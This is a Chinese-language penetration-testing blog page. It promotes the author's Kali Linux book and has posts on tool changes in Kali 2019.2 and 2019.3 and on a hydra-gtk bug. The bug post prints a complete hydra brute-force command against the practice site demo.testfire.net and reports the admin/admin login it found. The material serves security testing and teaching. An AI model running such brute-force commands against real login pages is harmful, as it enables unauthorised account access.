本次改版內容包括：強化暴力破解技法、修正部分工具在Kali環境無法運行的問題（包括：ghost phisher、theharvester、huntersearch、clusterd、beef）、改寫metasploit 5用法、增加藍牙滲透測試專章、更多的Wifi工具及一套IPv6工具組，當然也取消部分罕用的內容。不可諱言，前一版的內容也有一大部分被保留下來，畢竟部分工具雖然改版，但用法並未改變。

另一項改版重點是：Kismet及recon-ng，這兩套工具的前、後版本，在操作上有很大差異，本書同時介紹這兩套工具前、後版本的差異及使用說明。

本書在下列書局有售：
天瓏圖書
博客來
金石堂
誠品

「Kali Linux滲透測試工具」並非入門書，打算進入滲透測試領域的新手，建議先從筆者另一本著作「網站滲透測試實務入門第二版」切入，這是一本以Web為滲透對象的入門書籍。

如果對nmap有興趣，想要更深入應用nmap掃描技巧及NSE腳本功能，可以參考「資安專家的nmap與NSE網路診斷與掃描技巧大公開」這本nmap應用專書。

若讀者利用Metasploitable做為自我練習環境，也可以參考「Metasploitable｜白帽駭客新兵訓練營(電子書)」，裡面介紹諸多Metasploitable 2裡的漏洞之攻擊方式。

Kali 2019.3 又害我踩雷

2019-09-29T18:55:00.004+08:00

Kali最近更新成2019.3版，稍為試用了一下，它和2019.2版又有些不一樣，目前發現三處差異，相信還會有更多地雷等著：

(一)原來置於/usr/share/windows-binaries/的資源，現在改到/usr/share/windows-resources/binaries/。

(二)recon-ng由4.9.x升級為5.0.x，4.x版會連功能模組一併安裝，現在卻必須由使用者透過新的marketplace指令自行安裝，而且指令用法也有不少改變，例如之前載入模組是用「load 模組名稱」，現在改成「modules load 模組名稱」，必須要一段調試時間才能適應新的操作模式。

(三)原本的dnsmap-bulk.sh，現在更名為dnsmap.bulk（不用再加.sh），難怪一直找不到指令。

雖然這些改變造成不便，但沒辦法，要用人家的工具，就只能順著人家的規則走！害我剛完稿的「Kali Linux滲透測試工具第三版」又要改寫，恐怕影響出版時間。囧

許多滲透測試工具在2019年版的Kali上無法正常執行

2019-07-27T20:26:00.000+08:00

Kali推出2019.2版，原本好事一椿，結果改版改過頭了，裡頭有幾套重要工具，不是功能殘缺，就是執行時期發生錯誤，更嚴重的是告訴你執行完成，但什麼結果也沒有，為了撰寫「Kali Linux滲透測試工具第三版」，幾乎變成在Debug。

幾組無法正常使用的工具有：

theHarvester
clusterd
Ghost Phisher
armitage
Beef 與 msfconsole的整合也失效

衷心期待作者能夠盡快修正版本!

(這篇文章未使用彩色文字及邊框，代表對Kali 2019.2版的哀悼之意)

hydry與hydra-gtk的詭異現象

2019-06-30T09:02:00.001+08:00

今天(2019/06/30)在實驗時發現 hydra-gtk 和 hydry 的執行結果竟然不一致。

操作hydra-gtk的選項，在最底下狀態列會顯示對應的hydra命令，在hydra-gtk啟動暴力破解，卻找不到符合的帳密，如圖一所示。

圖一：hydra-gtk找不到匹配的密碼

hydra-gtk轉出的指令：

hydra -V -l admin -P /root/password.lst -t 8 -q -m /doLogin:"uid=^USER^&passw=^PASS^&btnSubmit=Login:Login Failed:C=/login.jsp" demo.testfire.net http-post-form

但我很清楚有一組admin / admin的帳密是可以用的，心中疑惑是不是在填hydra-gtk選項時弄錯了什麼，一再檢視都找不到哪裡有錯，於是將hydra-gtk產生的指令在終端上直接執行，結果如圖二所示，真的有找到admin / admin這組帳密，很明顯hydra-gtk有Bug存在。

圖二：直接在終端機執行就沒有問題

外一章：當啟用hydra-gtk的debug選項，執行暴力破解時，start頁籤會輸出大量資訊，hydra-gtk不會自動捲動訊息框。此時若手動捲動訊息框，hydra-gtk會當機。

結論：

hydra-gtk和hydra的整合可能有問題，還是將hydra-gtk當成命令產生器就好，以免造成誤判！

雅技資訊日誌

利用LiteLLM Proxy，讓Claude Code調用第三方AI模型

以SonarQube掃描Gradle專案源碼

以 SonarQube 掃描 maven 專案源碼（白箱掃描）

以SonarQube掃描dotNet Core專案源碼（白箱掃描）

以SonarQube執行.netFramework專案的源碼掃描（白箱掃描）

Web Server開啟PUT / DELETE方法，真的危險嗎？

在KALI Linux建置黑、白箱掃描系統（Arachni及SonarQube）

社交工程事件調查

hashcat到底怎麼了？不認得cap2hccapx轉出的檔案

Kali的sparta整合工具不見了，請改用legion

自定Kali應用程式選單（Applications Menu） 的項目（成員）

CodeCrackWin 3.0版(圖形驗證碼暴力破解工具) 使用說明

網站管理員搞烏龍

又是Cookie惹的禍！Cookie裡的SQL Injection

分享「破解密碼」的經驗

在Kali 2020.3 精簡環境安裝OpenVAS

HITCON 2020 { IoT Hacking 101 }議程之 LV2題目的另類解法

天下文章一大抄，你錯我錯一起叫！

拿回Kali的ROOT主控權

Kali Linux 滲透測試工具(第三版)-第2章「安裝Kali Linux」補充說明

如何建置metasploitable 3虛擬機

新作「Kali Linux滲透測試工具 第３版」已於2019/12/25上市

Kali 2019.3 又害我踩雷

許多滲透測試工具在2019年版的Kali上無法正常執行

hydry與hydra-gtk的詭異現象

自定Kali應用程式選單（Applications Menu）的項目（成員）

新作「Kali Linux滲透測試工具第３版」已於2019/12/25上市